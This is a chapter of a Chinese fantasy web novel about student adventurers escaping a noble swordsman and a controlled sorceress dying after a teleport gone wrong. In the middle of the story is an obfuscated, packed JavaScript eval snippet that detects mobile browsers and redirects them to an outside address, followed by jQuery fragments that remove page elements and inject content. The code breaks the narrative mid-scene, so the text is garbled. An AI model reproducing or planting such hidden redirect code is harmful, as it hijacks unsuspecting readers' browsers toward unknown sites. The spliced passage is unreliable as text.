“安洁莉娜!”
安雅在意识到发生了什么后,第一时间扑上去,接住了安洁莉娜倒下的身体。
那个腹部的血洞像是无底深渊,殷红的颜色快速晕染了她的双手。
“安洁!”
雷文也大喊一声,下一刻便本能地拔剑格挡。
让人牙酸的金属摩擦声响起,伴随着金发剑士的怒吼,发狠地攻向偷袭之人。
“锵——”
又是一次武器的交锋,雷文成功挡住了对方的攻势,迫使偷袭者停下了脚步。
那是一个身穿轻甲的年轻男人,铠甲之下是用料昂贵的轻便礼服,胸口的位置佩戴了一枚火红色的鹭鸟纹章。
攻势被挡下,男人挑了挑眉毛:“嚯,一把破剑能挡住我,小子你水平不错,可惜——”
他腾出左手,红光在掌心亮起。
安雅眼瞳一缩,不得不停下对安洁莉娜的治疗,法杖对准了男人:“水牢!”
男人顿时被巨大的水泡笼罩,整个人被架到半空,与雷文隔绝开来。
“他是魔武双修!”安雅颤声提醒雷文,“小心他的左手!”
话音刚落,水牢已经在空中炸开,男人浑身湿透,落地的姿势却依然轻盈。
“贱民!”
他拨了一把湿哒哒的头发,望着安雅的目光仿佛能将她扎穿:“就是你啊,那个水系!”
雷文退到安雅身前,声音同样在发抖:“……火焰鹭鸟……他是卡利斯特家族的人。”
安雅的肩膀僵硬了一下。
“雷文,”但她没有任何犹豫,在雷文身后轻声说道,“用盾,挡一下水。”
剑士一愣,没有回头或者询问,当即照安雅所说的,将臂铠变换成了盾牌。
男人嗤笑一声,正要迈步,忽然身后有了响动。
他下意识回头,看到了腾空而起的紫灰色湖水,直冲他而来。
“开启门扉!”
安雅念出最后的咒文,巨大的空间裂缝瞬间吞噬了她与同伴们。
“哗啦——”
被留在原地的男人成为唯一接受湖水洗礼的人。
“啊——”
——
“噗通”
几声闷响后,树林边缘出现了四个身影。
雷文用盾牌作为支撑,一左一右捞住两个暂时没有自保能力的伙伴,又咬紧牙关撑住了摔在他背上的安雅。
“多谢……”
安雅赶紧站稳,抱起安洁莉娜替雷文减轻负担。
雷文松了口气,扛着卡尔四处看了看:“没想到你真的能成功开启传送门……总算是暂时安全——”
视线所及之处的营地让他的声音卡在了喉咙里。
安雅也看到了那些帐篷,面露喜色:“前面有营地诶!我们可以去求助——”
“慢着!”雷文喊住她,“别轻举妄动,我们现在全是伤患,万一里面的人起了歹心,那就完了。”
“呃……”安雅的脚步顿时迟疑了,“可是安洁莉娜和卡尔都需要安定下来治疗……”
“先离远一点安置好他们,我去营地里探探路,你周围看看,有情况话把这个光明球的卷轴撕开作为警示。”雷文说着递过来一个卷轴。
这样的做法更为保险,安雅点头接过。
她又给安洁莉娜和卡尔施放了一次水疗术,这才收了法杖站起身。
“真厉害啊,”雷文拍了拍她的肩膀,“你的消耗也不少了……刚才是你操控了湖水袭击那个卡利斯特吧?那招可不轻松,接下来你要万事小心。”
“嗯。”
安雅看着金发剑士矮身钻进了最近的帐篷,后退着没入树林中。
另一边,正准备兵分两路的肖恩等人再次与玛丽安相遇。
“弗尔森小姐?”
有了昨晚的经历,一行人对玛丽安的态度恭敬不少,即便是最桀骜的阿兰也只是翻了个白眼,没有对肖恩的谦卑出言嘲讽。
玛丽安依旧从空间裂缝中踏出,神色有些惊慌:“你们这是要去哪?我不是说了让你们去北边的飞花山脉吗?!”
肖恩解释道:“我们……和一队学生遭遇了,那个转学生也在其中,她认得阿力,必须想办法灭口!”
玛丽安点头:“是个好机会,那人呢?”
肖恩的声音变得迟疑:“……被他们跑了。”
“什么?!”女人声音顿时变得尖利,“跑了?!那他们回去搬救兵怎么办?!”
“所以我们现在正要去追,”肖恩赶紧找补,“兵分两路,受伤的人返回营地治疗补给,其他人跟我走,时间紧迫,小姐。”
“该死!你们真不靠谱!”玛丽安骂了一句,又问道,“知道他们往哪个方向跑的吗?”
“这……他们是突然消失的……”
“唉,算了,那肯定是开了传送门。”玛丽安觉得自己问了个蠢问题,干脆直接跳过,“我感知一下这附近空间扭曲的迹象,那应该就是他们的目的地,我把你们送过去。”
众人震惊,眼中不可遏制地流露出羡慕:“这种事你也能做到吗?”
回应他们的是玛丽安的招牌白眼。
女人念动咒语,一个传送门很快形成。
她率先跨入,回头招呼众人跟上:“还不快点!”
肖恩忙不迭跟着走了进去,后面的人也鱼贯而入。
如果玛丽安只负责开门,肖恩等人还会有所迟疑,不过她一同前往传送门的目的地,大家的疑虑也就大大打消了。
再度踏出传送门,映入眼帘的是一片弥漫着瘴雾的紫灰色湖面。
玛丽安盯着嘶嘶冒气的地面,脸色一变:“有人刚刚使用了大范围的水系咒语,这发生过战斗!”
阿兰“啧”了一声:“那个转学生不就是水系……”
“她才7级,哪有那么大能耐用这种程度的咒语!”玛丽安不耐烦地打断她,“算了跟你说了你也不懂,总之我们赶紧顺着痕迹找过去。”
阿兰腮帮子鼓动了一下,还是压下了火气。
她见过也亲身体验过传送,若非那种铭刻好增幅法阵的大型传送阵,一般来说,法师一次性传送三个人就已经很了不起了,可玛丽安一次性就传送了九人!
这是何等恐怖的实力!
再加上昨天那个毫无抵抗之力就被杀死的倒霉鬼,她就算再这么不爽玛丽安的态度,也不好表现出来。
因为没有返回营地补给,众人手中的弹药有限,大家都格外警惕。
刚四散探查了一下,就有人朝天空打出了信号弹。
玛丽安刚想开口,视野就被炽目的火光染红。
一个身影腾空跃起,赤色的火焰附着在细剑上,气势骇然,摧枯拉朽地冲进了阵型。
一眨眼就有两人倒在他的剑下,身首分离,而男人的攻势丝毫未减。
他麻利地斩开数发子弹,剑尖已逼近下一个人的咽喉。
玛丽安咒骂一声,抬手开始施咒:“阴影中的恶魔,响应我的我召唤,撕碎我的敌人!”
一声尖啸,冒火的细剑被卡在了一双黑色利爪中,正是玛丽安召唤出的影魔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564086|204652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人皱了皱眉,尝试拔出武器失败后,他果断弃剑后撤,同时掌心推送出数个巨大的火球,逼退围上来的众人。
“我靠,这到底是战士还是法师?!”
惊愕的疑问取悦了他,男人嘴角一勾,身体在空中诡异地折跃了一下,扑向正在操纵影魔的玛丽安。
“暗系,织法者!”男人语气兴奋,“没想到还有这样的收获!”
他手腕一动,一抹银光从袖中射出。
玛丽安大惊失色,抓过身前的一个人作为盾牌。
一声惨叫后,手中的身躯失去了生机,玛丽安也趁着空隙拉开了与对方的距离。
肖恩怒瞪了她一眼,也无可奈何。
现在玛丽安才是最重要的,她不能死。
玛丽安也很清楚这一点,她释放出数道暗影矛逼退那个卡利斯特家族的人,贴近肖恩耳后:“把剩下的人聚集起来,退回湖边,我来开传送门!”
说完她向后一跃,身影融进了阴影中。
肖恩骂了一句,还是吆喝着同伴边打边退。
男人以一敌多,丝毫没有慌乱。
“该死的异世者,还有织法者!蛇鼠一窝,既然混在一起,那就死在一起!”
他宣判了众人的下场,强烈的魔力波动迸发开来。
“不好,他要放大!”
阿力拔枪射击,子弹却在男人身前被无形的立场逼停,根本造不成危险。
众人的脸色变得惨白。
这跟他们至今遇到的对手根本不是一个层次的。
阿力冷汗直流,放轻了脚步,悄然退出了树林。
“……谁要跟那种怪物拼命……”
他嘟囔着,想要逃跑,肩上却多了一只手。
“!”
“还在等什么!?”
玛丽安的声音传来:“不想死就快来!”
肖恩不再犹豫,大吼一声“撤退”,将弹匣里的弹药全部打了出去。
仅剩的四人连滚带爬地聚到了玛丽安身边。
女人面无表情,巨大的传送门已经在她身后敞开。
她抬手,指了指空间裂缝。
肖恩心里升起了一丝违和感,却又找不到缘由。
但眼下根本来不及细想,他第一个冲进了传送门。
一发火球擦着他的耳畔飞过,肖恩惊恐回头,刚好看到还在门外的玛丽安被击中,整个人倒飞进来。
空间一下子变得紊乱,仿佛要将人的五脏六腑都挤压、撕碎。
惊恐的叫喊此起彼伏,又突兀消失,下一刻,肖恩觉得自己被抛了出去。
他重重摔在地上,眼冒金星。
好不容易爬起来,肖恩愣住了。
在他不远处,正是伫立在荒原之上的传送阵。
——
黑发黑瞳的女人从树上掉了下来。
剧烈的冲击并没有让她发出痛呼,片刻的停滞后,她爬了起来,保持着不变的表情,一步一步朝前走去。
后脑勺的大洞十分可怖,甚至能看见里面的红白之物。
玛丽安的步伐越来越慢,最后停下。
她先是跪倒,然后双手似乎被从什么支配中解放出来,软绵绵地垂了下去,再然后脊椎像是被抽掉了,让她变成了一摊死气沉沉的肉块。
一切都安静下来。
随着她摔倒,一个双面人挂坠从胸口掉了出来。
其中一边人脸上,原本亮起的紫水晶眼瞳变得黯淡,很快熄灭。
一双鞋停在了失去生机的尸体旁边。